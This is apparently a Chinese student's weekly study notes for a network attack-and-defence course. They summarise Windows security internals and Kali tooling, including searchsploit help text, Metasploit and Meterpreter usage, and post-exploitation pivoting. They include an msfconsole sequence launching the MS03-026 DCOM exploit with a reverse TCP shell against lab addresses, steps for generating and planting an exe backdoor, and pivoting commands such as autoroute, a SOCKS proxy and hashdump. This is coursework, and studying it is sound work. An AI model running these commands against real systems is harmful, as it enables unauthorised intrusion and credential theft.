zoukankan      html  css  js  c++  java
  • 20189224 《网络攻防实践》/《网络攻击与防范》第七周学习总结

    20189224 《网络攻防实践》/《网络攻击与防范》第七周学习总结

    教材学习内容总结

    Windows操作系统基本框架概述

    • windows操作系统的基本结构
      1)运行于处理器特权模式的操作系统内核 ring 0
      2)运行在处理器非特权模式的用户空间代码。ring 3
    • windows操作系统内核的基本模块:
      1)Windows执行体
      内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务
      2)windows内核体
      核心文件中函数实现与硬件体系结构支持代码,实现底层操作系统功能
      3)设备驱动程序
      将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序
      4)硬件抽象层
      hal.dll文件,用于屏蔽内核与平台硬件差异性
      5)Windows窗口与图形界面接口内核实现代码
      win 32k.sys
      6)系统支持进程
      windows开机自动启动的系统内建服务进程
      7)环境子系统服务进程
      为操作系统环境运行环境提供支持的服务进程
      8)服务进程
      通过Windows的服务管理机制所启动的一系列系统及网路服务
      9)用户应用软件
      用户态执行的各类用户应用软件
      10)核心子系统DLL
      动态链接库文件
    • Windows操作系统内核核心机制:
      1)Windows进程和线程管理机制;
      2)windows内存管理机制;
      3)windows文件管理机制;
      4)windows注册表管理机制;
      5)windows的网络机制

    Windows操作系统的安全体系结构与机制

    • SD安全描述符主要由如下主要属性组成:
      1)Owner SID:对象所有者的SID安全标识符。
      2)Group SID:对象所在基本用户组的SID安全标识符。
      3)DACL自主访问控制列表:指明了那些安全主体可以何种方式来访问该对象。
      4)SACL 系统审计访问控制列表:指明了那些主体发起的那些访问操作需要被审计。
      5)Windows远程安全攻防技术:远程口令猜测与破解攻击、攻破Windows网络服务、攻击Windows客户端及用户。
    • windows系统的安全漏洞生命周期:
      1)Windows安全漏洞发现
      2)利用和修补过程
      3)安全漏洞公开纰漏信息库
      4)针对特定目标的渗透测试攻击过程
      5)使用Metasploit软件实施渗透测试
    • 使用Metasploit Console终端实施渗透测试过程
      1)use exploit/windows/dcerpc/ms03_026_dcom
      2)set PLAYLOAD generic/shell——reverse_tcp
      3)set LHOST 192.168.200.2;set RHOST 192.168.200.124.
      4)exploit
      5)在远程控制会话中与目标主机进行交互。
    • Windows远程口令猜测与破解攻击:
      1)远程口令字猜测
      2)远程口令字交换通信窃听与破解
      3)远程口令猜测与破解防范措施
    • Windows网络服务远程渗透攻击:
      1)针对NetBios网络服务的著名漏洞及攻击
      2)针对MSRPC网络服务的著名漏洞及攻击
      3)针对Windows系统上微软网络服务的远程渗透攻击
      4)针对Windows系统上第三方网络服务的远程渗透攻击
      5)网络服务远程渗透攻击防范措施
    • Windows本地安全攻防技术:
      1)Windows本地特权提升
      2)Windows敏感信息窃
      3)Windows消踪灭迹
      4)windows远程控制与后门程序
      5)命令行远程控制工具

    视频内容学习

    KaliSecurity 漏洞利用之检索与利用

    searchsploit存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作,目前是世界上公开收集漏洞最全的数据库,该仓库每天都会更新,exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。

     Usage: searchsploit [options] term1 [term2] ... [termN]
    
    ==========
     Examples 
    ==========
      searchsploit afd windows local
      searchsploit -t oracle windows
      searchsploit -p 39446
      searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
    
      For more examples, see the manual: https://www.exploit-db.com/searchsploit/
    
    =========
     Options 
    =========
       -c, --case     [Term]      Perform a case-sensitive search (Default is inSEnsITiVe).
       -e, --exact    [Term]      Perform an EXACT match on exploit title (Default is AND) [Implies "-t"].
       -h, --help                 Show this help screen.
       -j, --json     [Term]      Show result in JSON format.
       -m, --mirror   [EDB-ID]    Mirror (aka copies) an exploit to the current working directory.
       -o, --overflow [Term]      Exploit titles are allowed to overflow their columns.
       -p, --path     [EDB-ID]    Show the full path to an exploit (and also copies the path to the clipboard if possible).
       -t, --title    [Term]      Search JUST the exploit title (Default is title AND the file's path).
       -u, --update               Check for and install any exploitdb package updates (deb or git).
       -w, --www      [Term]      Show URLs to Exploit-DB.com rather than the local path.
       -x, --examine  [EDB-ID]    Examine (aka opens) the exploit using $PAGER.
           --colour               Disable colour highlighting in search results.
           --id                   Display the EDB-ID value rather than local path.
           --nmap     [file.xml]  Checks all results in Nmap's XML output with service version (e.g.: nmap -sV -oX file.xml).
                                    Use "-v" (verbose) to try even more combinations
           --exclude="term"       Remove values from results. By using "|" to separated you can chain multiple values.
                                    e.g. --exclude="term1|term2|term3".
    
    =======
     Notes 
    =======
     * You can use any number of search terms.
     * Search terms are not case-sensitive (by default), and ordering is irrelevant.
       * Use '-c' if you wish to reduce results by case-sensitive searching.
       * And/Or '-e' if you wish to filter results by using an exact match.
     * Use '-t' to exclude the file's path to filter the search results.
       * Remove false positives (especially when searching using numbers - i.e. versions).
     * When updating or displaying help, search terms will be ignored.
    
    • searchsploit可以借助关键词搜索漏洞信息以及漏洞对应的exp
    • searchsploit wordpress列出了漏洞和文件地址
    • ikat自动化开启不同的exp,等待目标访问中招
    • termineter评估智能电表的安全性



    KaliSecurity 漏洞利用之Metasploit基础

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。Metasploit用法

    • 启动
      在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以利用msf数据库查询exploit和记录
    service postgresql start
    service metasploit start
    

    如果 不想每次开机都手动启动服务,可以配置随系统启动

    update-rc.d postgresql enable
    update-rc.d metasploit enable
    
    • 路径

    Kali中msf的路径为/usr/share/metasploit-framework
    Auxiliary:辅助模块
    encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
    exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
    payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
    post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。

    • 基本命令

    msfpayload:用来生成payload或者shellcode。
    搜索时可以用msfpayload -l |gre[ "windows"这样的命令查询。-o选项可以列出payload所需的参数。
    msfencode:msf中的编码器,早期用来绕过AV(杀毒软件),现常用msfpayload与它编码避免exploit的坏字符串。
    msfconsole:开启metasploit的console。
    输入msfconsole,打开msf。

    KaliSecurity 漏洞利用之Meterpreter介绍

    Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell链接。Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多有用的功能,如添加一个用户、隐藏一些东西,打开shell、得到用户密码、上传下载远程主机文件、运行cmd.exe、捕捉屏幕得到远程控制权、捕获按键信息、清楚应用程序显示远程主机的系统信息、示远程机器的网络接口和IP地址等信息。常用的命令:
    background:将当前会话放置后台
    load/use:加载模块
    Interact:切换进一个信道
    migrate:迁移进程
    run:执行个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute, hashdump, arp scanner, multi inject等
    常用的Meterpreter类型为: payload/windows/meterpreter/reverse_

    生成Meterpreter后门:

    • 打开MSF,开启监听(选择exploit/multi/handler)
    • 在指定目录,生成exe后门
    • 将door植到对方主机

    KaliSecurity 漏洞利用之Metasploit后渗透测试

    在跳板获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使后续的操作更容易。

    • 查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
      添加路由表run autoroute -s 10.0.0.1。可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
    • 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机
    • 通过background和session -i可以自由切换进入session
    • 输入run可以看到在meterpreter上可以做的很多命令
    • 通过run post/可以看到后渗透测试模块
    • 获取内网信息run arp_scanner -r 10.0.0.1/24
    • 也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:传送文件到c盘根目录。

    KaliSecurity 漏洞利用之BeEF

    BeEF是一款专注浏览器端的渗透测试工具。
    在命令行下启动BeeF
    beef-xss

    参考资料

  • 相关阅读:
    正则表达式的语法表
    leetcode1567. 乘积为正数的最长子数组长度 吴丹阳
    leetcode152. 乘积最大子数组 吴丹阳
    leetcode740. 删除并获得点数 吴丹阳
    leetcode53. 最大子数组和 吴丹阳
    leetcode55. 跳跃游戏 吴丹阳
    leetcode45. 跳跃游戏 II 吴丹阳
    leetcode213. 打家劫舍 II 吴丹阳
    leetcode918. 环形子数组的最大和 吴丹阳
    leetcode482. 密钥格式化 吴丹阳
  • 原文地址:https://www.cnblogs.com/20189224sxy/p/10690654.html
Copyright © 2011-2022 走看看